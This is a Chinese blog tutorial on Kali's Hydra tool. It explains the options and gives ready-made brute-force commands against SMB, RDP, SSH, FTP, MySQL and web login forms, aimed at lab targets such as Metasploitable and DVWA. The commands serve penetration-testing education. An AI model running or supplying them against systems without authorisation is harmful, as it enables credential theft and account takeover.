kali-top10-Hydra

Hydra是一款强大的在线暴力破解工具,支持多种协议如FTP、HTTPS等。它依赖于字典进行破解,并提供了图形化界面方便使用。通过指定不同参数如-l、-P、-x等,可以针对不同场景进行定制化的密码猜测。文章中列举了多个实例,包括Windows、Linux密码破解以及HTTP表单身份验证等,展示了Hydra在实际场景中的应用。
摘要由CSDN通过智能技术生成

kali-top10-Hydra

目录

  • 1、简介
  • 2、选项
  • 3、用法

1、简介

Hydra(九头蛇) 是一个相当强大的暴力破解工具。该工具支持几乎所有协议的在线破解,如FTP、、HTTPS、、MS SQL、Oracle、Cisco、IMAP和VNC等。其能否被破解,关键在于字典是否足够强大。很多用户可能对Hydra比较熟悉,因为该工具有图形界面,且操作十分简单,基本上可以“傻瓜”操作。下面介绍使用Hydra工具破解在线。

2、选项

-R修复之前使用的aborted/crashed session
-S执行SSL(Secure Socket Layer)连接
-s使用非默认服务器端口而是其他端口时,指定其端口
-l已经获取登录ID的情况下输入登录ID
-L未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
-p已经获取登录密码的情况下输入登录密码
-P未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
-x暴力破解时不指定文件,而生可以满足指定字符集和最短、最长长度条件的密码来尝试暴力破解
-C用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
-M指定实施并列攻击的文件服务器的目录文件
-o以STDOUT的形式输出结果值
-f查找到第一个可以使用的ID和密码的时候停止破解
-t指定并列连接数(默认值:16)
-w指定每个线程的回应时间(Waittime)(默认值:32秒)
-4/6指定IPv4/IPv6(默认值:IPv4)
-v/-V显示详细信息
-U查看服务器组件使用明细

3、用法

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

支持的服务:

asterisk、 afp、 cisco、 cisco-enable、 cvs、 firebird、 ftp、 ftps、 http(s)-{head|get}、 http(s)-{get|post}-form、 http-proxy、 http-proxy-urlenum、 icq、 imap(s)、 irc ldap2(s)、 ldap3-{cram|digest}md5、 mssql、 mysql、 ncp、 nntp、 oracle-listener、 oracle-sid、 pcanywhere、 pcnfs、 pop3(s)、 postgres、 rdp、 rexec、 rlogin、 rsh s7-300、 sip、 smb、 smtp(s)、 smtp-enum、 snmp、 socks5、 ssh、 sshkey、 svn、 teamspeak、 telnet(s)、 vmauthd、 vnc、 xmpp

注意:Hydra是猜测/破解有效登录/密码对的工具。

例如

图形化界面

xhydra

Windows 密码破解

hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd #smb协议比较好破解
hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV #rdp协议不稳定,容易漏判

Linux 密码破解

hydra -l root -P john.txt ssh://192.168.1.113 -vV #这里以metasploitable为目标机

其他服务密码破解

hydra -L user.lst -P pass.lst ftp://192.168.1.113 -s 2121 -e nsr -o p.txt -t 64 -vV #最大并发64

HTTP表单身份认证

hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:S=index.php" -V

hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:Login Failed" -V 
/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H =X-Foo: Foo

pw-inspector

Hydra 小工具
按长度和字符集筛选字典

pw-inspector -i /usr/share/wordlists/nmap.lst -o p1.lst -l 
pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u
pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u -m 3 -M 5 #-m和-M指定最小和最大长度
-i文件从(默认:stdin)读取密码
-o文件将有效密码写入(默认:stdout)
-m有效密码的最小长度
-M有效密码的最大长度
-c需要的最小套数(默认值:全部给定)

设置

-l小写字符(a,b,c,d等)
-u大写字母(A,B,C,D等)
-n数字(1,2,3,4等)
-p可打印字符(不是-l / -n / -p,例如$,!,/,(,*等)
-s特殊字符 - 所有其他人不在上面的集合中

MySQL密码破解

数据库一般会提供一个默认的帐户,SQL Server的sa用户,MySQL的root用户,Oracle的System用户等。
假如我们现在破解mysql数据库

hydra -L user.txt -P pass.txt ip mysql
hydra -L user.txt -P pass.txt mysql://目标IP:mysql端口号

ssh密码破解

hydra -l 用户名 -P 密码字典 -t 线程 -vV -e nsr ip ssh
hydra -l 用户名 -P 密码字典 -t 线程 -o save.log -vV ip ssh

破解ftp

如果你发现目标ftp并不是在21端口,而是在其他端口上,可以使用-s参数指定正确的端口,其他服务同样如此。

hydra ip ftp -l 用户名 -P 密码字典 -t 线程数(默认16) –vV

破解rdp

如果不支持rdp模块,尝试升级一下 apt install hydra

hydra ip rdp -l administrator -P pass.txt –V

破解https

hydra -m /index.php -l muts -P pass.txt ip https

get方式提交 破解web登录

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /web/

post方式提交 破解web登录

hydra -l admin -P small.txt 域名/ip -s 端口 http-post-form "/Pass-09/index.php:username=^USER^&password=^PASS^&Login=Login:F=密码错误" -v

F表示错误信息,根据实际情况填写

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要安装kali-everything,可以使用以下解决方案:首先,使用命令"apt-get install kali-tools-top10"来安装kali的前十工具。接下来,使用命令"sudo apt-get install kali-linux-everything"来安装kali的所有软件包。这将确保你安装了kali-linux的每一个组件和工具。你也可以通过下载"kali-linux-2022.3-installer-everything-amd64.iso.torrent"文件,并使用相应的软件来进行安装。另外,你还可以使用命令"sudo apt-get install kali-linux-top10"或"sudo apt-get install kali-linux-all"来安装kali的前十工具或所有软件包。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [解决kali 安装kali-linux-all失败](https://blog.csdn.net/Thea_1207/article/details/122210373)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [kali-linux-2022.3-installer-everything-amd64.iso.torrent](https://download.csdn.net/download/qq_73689812/86537708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值